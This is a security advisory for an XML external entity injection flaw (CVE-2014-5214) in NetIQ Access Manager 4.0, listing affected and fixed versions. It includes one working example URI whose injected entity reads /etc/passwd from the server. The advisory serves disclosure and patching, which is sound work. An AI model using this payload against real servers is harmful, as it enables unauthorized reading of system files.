NetIQ Access Manager CVE-2014-5214 XML External Entity Injection Vulnerability

Bugtraq ID:	71826
Class:	Input Validation Error
CVE:	CVE-2014-5214
Remote:	Yes
Local:	No
Published:	Dec 18 2014 12:00AM
Updated:	Dec 18 2014 12:00AM
Credit:	Wolfgang Ettlinger
Vulnerable:	NetIQ Access Manager 4.0 SP1 NetIQ Access Manager 4.0
Not Vulnerable:	NetIQ Access Manager 4.0 SP1 Hot Fix 3

NetIQ Access Manager CVE-2014-5214 XML External Entity Injection Vulnerability

An attacker can exploit this issue using a web browser.

The following example URI is available:

https://www.example.com/nps/servlet/webacc?taskId=fw.PreviewObjectFilter&nextState=initialState&merge=fw.TCPreviewFilter&query=<!DOCTYPE+request+[%0a<!ENTITY+include+SYSTEM+"/etc/passwd">%0a]><query><container>%26include%3b</container><subclasses>false</subclasses></query>

NetIQ Access Manager CVE-2014-5214 XML External Entity Injection Vulnerability

Solution:
Updates are available. Please see the references or vendor advisory for more information.

NetIQ Access Manager CVE-2014-5214 XML External Entity Injection Vulnerability

References:

• NetIQ Access Manager Homepage (NetIQ)
  
• XML eXternal Entity Injection (XXE) vulnerability: Authenticated administrative (Novell)
  
• Multiple high risk vulnerabilities (SEC Consult Vulnerability Lab)